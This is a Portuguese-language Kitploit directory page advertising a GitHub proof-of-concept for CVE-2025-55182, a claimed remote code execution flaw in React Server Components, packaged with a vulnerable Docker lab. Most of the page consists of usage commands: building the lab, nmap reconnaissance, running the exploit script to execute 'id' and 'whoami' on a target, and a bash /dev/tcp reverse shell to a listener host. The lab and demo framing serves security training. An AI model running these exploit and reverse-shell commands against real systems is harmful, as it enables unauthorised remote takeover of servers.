Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-55182 — Aplicação REACT vulnerável em container Docker e código poc - para demonstrações | Kitploit
Ferramentas/GitHubGitHub/ps-interactive/cve-2025-55182
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubps-interactive/cve-2025-55182

cve-2025-55182

Aplicação REACT vulnerável em container Docker e código poc - para demonstrações

Ver Repositório
há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 - Exploração de RCE em React Server Components

Exploit CLI em Python para CVE-2025-55182, uma vulnerabilidade crítica de RCE em React Server Components via react-server-dom-webpack.

Baseado em: ejpir/CVE-2025-55182-poc

Construir e executar contêiner vulnerável

root@kitploit:~
docker build -t cve-2025-55182:lab .
docker run -d -p 3000:3000 --name cve-2025-55182-vuln cve-2025-55182:lab

Reconhecimento

root@kitploit:~
nmap --script http-title -p 3000 TARGET_IP
nmap --script http-headers -p 3000 TARGET_IP
root@kitploit:~
## Check for vulnerability
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --check

Execução Remota de Código

root@kitploit:~
# Recon
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --cmd "id"
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --cmd "whoami" --no-ssl-verify
root@kitploit:~
# Reverse shell
nc -nlvp 4444
python3 poc.py --ip TARGET_IP --port 3000 --cmd 'bash -c '\''bash -i >& /dev/tcp/LISTENER_IP/4444 0>&1'\'''
Baixar ferramenta